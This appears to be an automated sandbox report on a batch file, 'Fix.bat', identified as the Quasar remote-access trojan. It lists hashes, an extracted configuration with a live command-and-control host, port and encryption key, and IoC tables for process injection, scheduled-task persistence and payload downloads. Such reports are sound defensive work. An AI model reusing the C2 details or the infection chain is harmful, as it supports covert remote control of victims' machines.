quasar | aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67

Analysis

max time kernel
300s
max time network
278s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
12-05-2024 19:01

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General

Target

Fix.bat
Size

621B
MD5

e235e723f57a72ef725306c3e14d4726
SHA1

9b2153053f8e89c300e32da5df32e9b990594aac
SHA256

aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
SHA512

0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e

Score

10^/10

quasar rpad discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RPad

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-okPqrmZ8kNVUcS4Rp0

Attributes

encryption_key
XmcBnPuLlN1e8SHIRR1z
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe	family_quasar
behavioral3/memory/1672-27-0x0000000000AF0000-0x0000000000B5C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 4472 created 636	4472	powershell.EXE	winlogon.exe
PID 2452 created 636	2452	powershell.EXE	winlogon.exe
PID 4152 created 636	4152	powershell.EXE	winlogon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1492 powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

Processes:

BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exe

pid process

1672 BoostBot.exe
4984 $sxr-powershell.exe
1552 install.exe
4080 install.exe
3464 install.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

5000 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
10 raw.githubusercontent.com
13 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 ip-api.com

pid	process
1672	BoostBot.exe
4984	$sxr-powershell.exe
1552	install.exe
4080	install.exe
3464	install.exe

pid	process
5000	icacls.exe

flow	ioc
5	raw.githubusercontent.com
10	raw.githubusercontent.com
13	raw.githubusercontent.com

flow	ioc
5	ip-api.com

Drops file in System32 directory 18 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77$sxr-powershell.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$sxr-powershell	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 4472 set thread context of 2772	4472	powershell.EXE	dllhost.exe
PID 2452 set thread context of 2344	2452	powershell.EXE	dllhost.exe
PID 4152 set thread context of 4880	4152	powershell.EXE	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exe

pid process

2376 schtasks.exe
4980 SCHTASKS.exe
4780 schtasks.exe
2044 SCHTASKS.exe

pid	process
2376	schtasks.exe
4980	SCHTASKS.exe
4780	schtasks.exe
2044	SCHTASKS.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={DA4A53E1-FE86-4F0F-B330-24C883B334B2}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2540 PING.EXE

pid	process
2540	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exepowershell.EXE$sxr-powershell.exedllhost.exewmiprvse.exe

pid	process
1492	powershell.exe
1492	powershell.exe
4472	powershell.EXE
4472	powershell.EXE
4472	powershell.EXE
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2452	powershell.EXE
2772	dllhost.exe
2772	dllhost.exe
2452	powershell.EXE
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2772	dllhost.exe
2452	powershell.EXE
2772	dllhost.exe
2772	dllhost.exe
4984	$sxr-powershell.exe
2772	dllhost.exe
2772	dllhost.exe
2452	powershell.EXE
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
892	wmiprvse.exe
4984	$sxr-powershell.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
4984	$sxr-powershell.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe
2344	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exe

description	pid	process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1672	BoostBot.exe
Token: SeDebugPrivilege	4984	$sxr-powershell.exe
Token: SeDebugPrivilege	4472	powershell.EXE
Token: SeDebugPrivilege	4472	powershell.EXE
Token: SeDebugPrivilege	2772	dllhost.exe
Token: SeDebugPrivilege	2452	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2708	svchost.exe
Token: SeIncreaseQuotaPrivilege	2708	svchost.exe
Token: SeSecurityPrivilege	2708	svchost.exe
Token: SeTakeOwnershipPrivilege	2708	svchost.exe
Token: SeLoadDriverPrivilege	2708	svchost.exe
Token: SeSystemtimePrivilege	2708	svchost.exe
Token: SeBackupPrivilege	2708	svchost.exe
Token: SeRestorePrivilege	2708	svchost.exe
Token: SeShutdownPrivilege	2708	svchost.exe
Token: SeSystemEnvironmentPrivilege	2708	svchost.exe
Token: SeUndockPrivilege	2708	svchost.exe
Token: SeManageVolumePrivilege	2708	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2708	svchost.exe
Token: SeIncreaseQuotaPrivilege	2708	svchost.exe
Token: SeSecurityPrivilege	2708	svchost.exe
Token: SeTakeOwnershipPrivilege	2708	svchost.exe
Token: SeLoadDriverPrivilege	2708	svchost.exe
Token: SeSystemtimePrivilege	2708	svchost.exe
Token: SeBackupPrivilege	2708	svchost.exe
Token: SeRestorePrivilege	2708	svchost.exe
Token: SeShutdownPrivilege	2708	svchost.exe
Token: SeSystemEnvironmentPrivilege	2708	svchost.exe
Token: SeUndockPrivilege	2708	svchost.exe
Token: SeManageVolumePrivilege	2708	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2708	svchost.exe
Token: SeIncreaseQuotaPrivilege	2708	svchost.exe
Token: SeSecurityPrivilege	2708	svchost.exe
Token: SeTakeOwnershipPrivilege	2708	svchost.exe
Token: SeLoadDriverPrivilege	2708	svchost.exe
Token: SeSystemtimePrivilege	2708	svchost.exe
Token: SeBackupPrivilege	2708	svchost.exe
Token: SeRestorePrivilege	2708	svchost.exe
Token: SeShutdownPrivilege	2708	svchost.exe
Token: SeSystemEnvironmentPrivilege	2708	svchost.exe
Token: SeUndockPrivilege	2708	svchost.exe
Token: SeManageVolumePrivilege	2708	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2708	svchost.exe
Token: SeIncreaseQuotaPrivilege	2708	svchost.exe
Token: SeSecurityPrivilege	2708	svchost.exe
Token: SeTakeOwnershipPrivilege	2708	svchost.exe
Token: SeLoadDriverPrivilege	2708	svchost.exe
Token: SeSystemtimePrivilege	2708	svchost.exe
Token: SeBackupPrivilege	2708	svchost.exe
Token: SeRestorePrivilege	2708	svchost.exe
Token: SeShutdownPrivilege	2708	svchost.exe
Token: SeSystemEnvironmentPrivilege	2708	svchost.exe
Token: SeUndockPrivilege	2708	svchost.exe
Token: SeManageVolumePrivilege	2708	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2708	svchost.exe
Token: SeIncreaseQuotaPrivilege	2708	svchost.exe
Token: SeSecurityPrivilege	2708	svchost.exe
Token: SeTakeOwnershipPrivilege	2708	svchost.exe
Token: SeLoadDriverPrivilege	2708	svchost.exe
Token: SeSystemtimePrivilege	2708	svchost.exe
Token: SeBackupPrivilege	2708	svchost.exe
Token: SeRestorePrivilege	2708	svchost.exe
Token: SeShutdownPrivilege	2708	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

4984 $sxr-powershell.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

Explorer.EXERuntimeBroker.exe

pid process

3380 Explorer.EXE
4000 RuntimeBroker.exe

pid	process
4984	$sxr-powershell.exe

pid	process
3380	Explorer.EXE
4000	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeBoostBot.exepowershell.EXEdllhost.exe$sxr-powershell.exelsass.exe

description	pid	process	target process
PID 4592 wrote to memory of 4944	4592	cmd.exe	certutil.exe
PID 4592 wrote to memory of 4944	4592	cmd.exe	certutil.exe
PID 4592 wrote to memory of 1492	4592	cmd.exe	powershell.exe
PID 4592 wrote to memory of 1492	4592	cmd.exe	powershell.exe
PID 1492 wrote to memory of 1672	1492	powershell.exe	BoostBot.exe
PID 1492 wrote to memory of 1672	1492	powershell.exe	BoostBot.exe
PID 1492 wrote to memory of 1672	1492	powershell.exe	BoostBot.exe
PID 4592 wrote to memory of 5000	4592	cmd.exe	icacls.exe
PID 4592 wrote to memory of 5000	4592	cmd.exe	icacls.exe
PID 4592 wrote to memory of 2464	4592	cmd.exe	reg.exe
PID 4592 wrote to memory of 2464	4592	cmd.exe	reg.exe
PID 4592 wrote to memory of 4192	4592	cmd.exe	attrib.exe
PID 4592 wrote to memory of 4192	4592	cmd.exe	attrib.exe
PID 1672 wrote to memory of 2376	1672	BoostBot.exe	schtasks.exe
PID 1672 wrote to memory of 2376	1672	BoostBot.exe	schtasks.exe
PID 1672 wrote to memory of 2376	1672	BoostBot.exe	schtasks.exe
PID 1672 wrote to memory of 4984	1672	BoostBot.exe	$sxr-powershell.exe
PID 1672 wrote to memory of 4984	1672	BoostBot.exe	$sxr-powershell.exe
PID 1672 wrote to memory of 4984	1672	BoostBot.exe	$sxr-powershell.exe
PID 1672 wrote to memory of 1552	1672	BoostBot.exe	install.exe
PID 1672 wrote to memory of 1552	1672	BoostBot.exe	install.exe
PID 1672 wrote to memory of 1552	1672	BoostBot.exe	install.exe
PID 1672 wrote to memory of 4980	1672	BoostBot.exe	SCHTASKS.exe
PID 1672 wrote to memory of 4980	1672	BoostBot.exe	SCHTASKS.exe
PID 1672 wrote to memory of 4980	1672	BoostBot.exe	SCHTASKS.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 2772	4472	powershell.EXE	dllhost.exe
PID 2772 wrote to memory of 636	2772	dllhost.exe	winlogon.exe
PID 2772 wrote to memory of 692	2772	dllhost.exe	lsass.exe
PID 2772 wrote to memory of 992	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 560	2772	dllhost.exe	dwm.exe
PID 2772 wrote to memory of 436	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 756	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1072	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1080	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1200	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1220	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1272	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1320	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1448	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1456	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1516	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1572	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1592	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1716	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1732	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1776	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1828	2772	dllhost.exe	svchost.exe
PID 4984 wrote to memory of 4780	4984	$sxr-powershell.exe	schtasks.exe
PID 4984 wrote to memory of 4780	4984	$sxr-powershell.exe	schtasks.exe
PID 4984 wrote to memory of 4780	4984	$sxr-powershell.exe	schtasks.exe
PID 692 wrote to memory of 2636	692	lsass.exe	sysmon.exe
PID 2772 wrote to memory of 1892	2772	dllhost.exe	svchost.exe
PID 692 wrote to memory of 2636	692	lsass.exe	sysmon.exe
PID 2772 wrote to memory of 1528	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1676	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 1984	2772	dllhost.exe	svchost.exe
PID 2772 wrote to memory of 2072	2772	dllhost.exe	svchost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

4192 attrib.exe

pid	process
4192	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:560

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{16f95482-b399-4901-a66a-b2e14afe2f8b}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{7f0675dd-1763-4ec7-8048-4ecf8092923a}
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2344

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e9e205c0-4ce2-457e-b4ef-eb2baf99b4e8}
2⤵
PID:4880

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
